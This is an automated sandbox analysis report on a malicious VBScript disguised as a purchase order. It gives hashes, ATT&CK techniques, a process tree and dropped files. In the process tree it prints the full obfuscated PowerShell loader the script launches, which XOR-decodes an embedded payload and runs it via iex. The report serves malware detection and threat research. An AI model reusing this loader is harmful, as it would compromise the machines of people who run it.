4668edaaaae9bb13aa8b8678c285ce62d67c49b7eb30f5832b9c1c04aefcbd9c

Analysis

max time kernel
148s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
11/08/2026, 04:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
purchase order#13345.vbs
Size 22KB
Sample260811-e8bcfsgj3t
SHA256 4668edaaaae9bb13aa8b8678c285ce62d67c49b7eb30f5832b9c1c04aefcbd9c
MD5 211e481031522e538d8cb1766f13999d
SHA1 b4b2e8d8b2a19c3c4736ee01cf64314a01c4834b
SHA512 2c4a232a303b9c528655b91d4d9d655676d01df887a64761d20a226b0289c986cae3b99106830fa6633ffdb77d67f09a15b201c6dc46be095ccbaab20a8363af
SSDEEP 384:KQMSeaMi3m3EGSNtzCAhwrp9aEiFJ5KOlgoTD+vNhOvnNJ0NM/R54wigYZl+7qe9:KP0tKGMeYmvnv/R54wQ6auNHV
TLSH
T10AA251D78C458BF0192A2606BD5FA419AB310365B838694D399FF38DFB367508BC1CA7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4176	powershell.exe
10	4176	powershell.exe
11	4176	powershell.exe
12	4176	powershell.exe
14	4176	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4176	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4164	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4176	powershell.exe
4176	powershell.exe
4176	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4176	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4164 wrote to memory of 4176	4164	WScript.exe	89
PID 4176 wrote to memory of 5492	4176	powershell.exe	91
PID 5492 wrote to memory of 5556	5492	csc.exe	92

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\purchase order#13345.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=38-31;$m9rijvAzy='1ag12uqYPB';$fe5KVzaVt='96c19eeff9adafdea984feaebdbbb58cbe909586ffb8eda895d580bd9f9cb598a8e9eeb6b896aa87f2a5b9d6f9b1ba949f9ac6f1f7c8fdbcae81939ce29bbff4ecb0b89c96c8a6eb96d5fdabf5a09f8beeb9a4efe18fa99c8e87f8a4a1cfe1afbeaec0d2cfa7beaaaad2d1d798deaff6eaffc091ab91978bfc9efef7e2bb9ca58ea7e289fcf8aab3aea983aacfae95d5a8858cc38fbdf69da0f9df89b197bd84eda9a7e8ffbc93a5938adca7a7d2df91a8aaa2a6e1828bd9f7868cc6ca8aa9fa85c2c08db796c9aaaa92a0e3e886a2b1808cdc8dfdfacf92bca2a2a6e1919aaaf1bd93989dbcdcf2a5c1dd99a190c8beef92a0e3ad949cb9cf8cdc9dafc3cb9db5b8a29cd9a8fed5f4bd8cb9898dc889a2cbcd99a190c8beef92a0e3ad93b097968cde9df9c1cf91ea97bd84ee91fddde2bce9a58eb1f6b3f8d0dbb4ecbabd84f6808afcff968fc28f8cccb3bed0c0abe2bab2a2f7af85cde1bdb2b1b88bd38988f9aaeeb392addcee9afecde1bcb6a58f8cde99bbf9cf99ab9193ddd6a9ffddf3949c908aa7a8faf4bc95d59a979ec5cfb2bdfeb8f28f8a8a8ddfaeabf2f6b6af9a9586bbe396cffda7afddbf86f8a4a9f2f6b886c9c0bdcf8df5b5dfbaafa08e9af2a5aab3c39cb49d8c8de9bf90a1a299a99c97aafab8a8adac8caf819386fce3e9f9aeebf2dad3e591adb8f5fbabb29c94c8ffe3e9f7b1a4ff84c7a6febce0d4fab5be908ec8d5aeb9b5cfbab9b09681fea5b9a0b098be87d7bafaa5a9f4f5ffff9fdac5d8a4b8f5ecffff9fd4abf4bea3efb1a3fe888e9ae2b0bffeecaaa99ddaccece589f4efb1b79c9b8cdfaab9fab0fb84da878bfabfaef3e3a2a68ef7e2fdbea3f8ecb6b49dda81b3efacb7bcabf7d797c4bfbbf0dbb0f6f288de91a6909df3f9b1af9c97affabfa8c6a2e5979c9b8cdab8befef5bdb78ad2ccfae2f6bfcae2ff8ad4affebf99e2e8baa8dbd394a4b0e9c4b699ae9f96a6faa6a8bbb5';$iebhp6val='AUUSQBNdHyhrKkBmHCMCVGlpcX8LUBpACgwMV1dyAlhXBxNJS2IrVQ1aVg0JR2JgZHAXaRU0EkJIZWY7KltcNBJCSGVmOzdAUxAOQwhFa2QQVVwHAgcNJT4zCwlbAk8BAGIrXhdnRgUTSUclfkwlV0YNEUFQY3dKXg5xFgJBUGlMeRdAUwoERQwoVz4ZDxYKSWlKemp8ARwWC0sEVCV4Gm45OEAMHWQkLTAMQEZDRwsEK3UtSxtBDQBORWtgfgpHWwMJSUUiZnhKTlNLDElednw4VRpYFAAHDSAtMAxARhRdDws9PCVKBgdRSREdOSsmUQQdDQpHCz0rfRRTFU1LCANkcWMUDh1LVRAdIjAjSgUCV0kRFzwqfglTHVVJSlRrIj5NOTgNAQgMKGIqABQWD04NRWJhP0BADz8zRVx4K1IKV10ADk5DUT8tMWB0XElnQXhWYxZdXANPBEMlLDoJVUYHDwcYMFZDJRMST0cHdlg7KUwaGFtOHBhJSzBEHxJDIx4aKyxsaT4SRENHQ2olKkQTcC42EHJYbyVLQ1MWSFVXImpkBU0dS11TQ39jfANSWgIURldoIjdfFBYDAEYEMSUzA1NUSjRVRn9xZQ1aVUxXDAQoYnACGn4BCUdQZCU6RAUATWoqAGAlKkQTAkNHGykGIXodCRUJHlBWY2JlBVkcLAgHBCclMAlRVxdAGykGJTdEFFtET3tnY2thAUZGOV0aYn5qeiZVQQFRFHd4d34KUxpAKkFQb21yF28DOU4JBChobkQTQBEJU1crJVdMEFUDAQwEKGk7RBMVSEcHZXx1WwVBXAcPBwgsIidDFB5EQFgSOCI+aT4SREcAY2lxOjRGXQcCU1dwdngWQBInN3UEIWFyF1dOFwJMQW9xN0lSWxYUVAQ5eXEQFHwFCkUIT1VCREk/bmoqBCwlN0QUEkRHAA==';$x2A5oGcZc=0x71BE-0xE61A;$ie3q2xL33=@();foreach($c in [char[]]$m9rijvAzy){$ie3q2xL33+=[byte]($c-bxor0xAA)};$jM07j2=$ie3q2xL33;$ie3q2xL33=@();foreach($c in [char[]]$m9rijvAzy){$ie3q2xL33+=[byte]($c-bxor0x55)};$fAopVYeyu=$ie3q2xL33;$ie3q2xL33oldR='';$i=0;for($j=0;$j-lt$fe5KVzaVt.Length;$j+=2){$ie3q2xL33oldR+=[char](([Convert]::ToInt32($fe5KVzaVt.Substring($j,2),16))-bxor$jM07j2[$i++%$jM07j2.Length])};$d79Gp0D=$ie3q2xL33oldR;$ie3q2xL33oldB=[Convert]::FromBase64String([regex]::Replace($iebhp6val, '$ie3q2xL33', ''));$ie3q2xL33oldR='';$i=0;for($j=0;$j-lt$ie3q2xL33oldB.Length;$j++){$ie3q2xL33oldR+=[char]($ie3q2xL33oldB[$j]-bxor$fAopVYeyu[$i++%$fAopVYeyu.Length])};$dyfvcmf=$ie3q2xL33oldR;$yqg5qd=$d79Gp0D+$dyfvcmf;.($env:ComSpec[4,26,25]-join'') $yqg5qd
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4176
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\u4nygagm\u4nygagm.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5492
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES52E9.tmp" "c:\Users\Admin\AppData\Local\Temp\u4nygagm\CSC8CA66B03C4884BC98EC65C76EF735A8.TMP"
      4⤵
      PID:5556

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES52E9.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES52E9.tmp
Size 1KB
SHA256 27f1d1d4912c3df9b4e0aadaf6c811655c26a995fb18b77e9807d22b65f7b46c
MD5 aa5dde586919a0fea89249f270c0a54c
SHA1 d4bf72a525103ddc434bcc0f96d34b2477bccb21
SHA512 b91b6fbaa32b22f0fc5f8006f983cd27a856ad8051cd4c2ca39541efd2616978e4cf5ade162ae5ec265e6b2fa6398eca26659f5a9901c679c5c6a20785ce17b5
TLSH
T1FC21660A93E9471FF1B3473179FA572FA275FD54AFA2939A894042282841104EEA1A72
MD5 SHA1 SHA512 TLSH

Submit Download

u4nygagm.dll

Path C:\Users\Admin\AppData\Local\Temp\u4nygagm\u4nygagm.dll
Size 3KB
SHA256 700814729ec5f5a4feec2de320aa18442e09777e8ccb4b45ca8dc6a06a4cff5b
MD5 a492c9daded36bbc1fec18937ae2ee96
SHA1 a456111b7d5352de266ccec5c01a001d73e186c0
SHA512 7206d37e731bd1bf5b7b335514fdb3a632b3bb1c652d9d20482e68ab60137b01a39205dffc5f78cf4918d85923aff27199b8f96ba88a6e7cd134a4a1e9e4bf25
TLSH
T15751EB1A63E8566BF4B70B317EE783472775F920AB62535D4D804228AC223645E32FB9
MD5 SHA1 SHA512 TLSH

Submit Download

CSC8CA66B03C4884BC98EC65C76EF735A8.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\u4nygagm\CSC8CA66B03C4884BC98EC65C76EF735A8.TMP
Size 652B
SHA256 15a9fae0bc26ac005448e0383d10b7062171cd16fbb859cf995fb6b3cf374158
MD5 d93532e39a65c9443978146f6ff4287b
SHA1 2f345aff48ca023c42e87f6b12789147cc137375
SHA512 deb7dba4d80a1851a83f3b1f1972de603a4ca5477edcfdd5ad387df98b04b3dc56a5e630aab503b34f174ab29d48bd118c1dd3f77fcbc7710c60e2868d1f85e1
TLSH
T1B2F05E0963F8520EF1F34B30BEF683A391A9FC65DF3293ED1940032928645148962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

u4nygagm.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\u4nygagm\u4nygagm.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

u4nygagm.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\u4nygagm\u4nygagm.cmdline
Size 369B
SHA256 71fc9427a4ee7842cd8543a0323f7ce8244344dace47efef6603975bae8eca9c
MD5 99ed42c31c623eff0918c1161d401724
SHA1 16c602e0a0a3e9e1458f1f8e43aa81bd99bb2325
SHA512 46124181c89e90af817c40f6a8fcadf04a39ea2c1f79b372999a4886c55016d043f8933e78890906e997bc9f3c656159d2412c4266ae447c6a36bd7c357fc370
TLSH
T15AE0683A53CBC27E01DF102721ADE4EC8373068329813F886054C40ED0A700827D3B41
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4176-8-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/4176-0-0x00007FF9D75CF000-0x00007FF9D75D0000-memory.dmp

Download

memory/4176-9-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/4176-10-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/4176-11-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/4176-12-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/4176-13-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/4176-14-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/4176-15-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/4176-7-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/4176-6-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/4176-28-0x0000021828ED0000-0x0000021828ED8000-memory.dmp

Download

memory/4176-5-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/4176-4-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/4176-3-0x0000021828EE0000-0x0000021828F02000-memory.dmp

Download

memory/4176-29-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/4176-31-0x0000021828C30000-0x0000021828C4A000-memory.dmp

Download

memory/4176-33-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download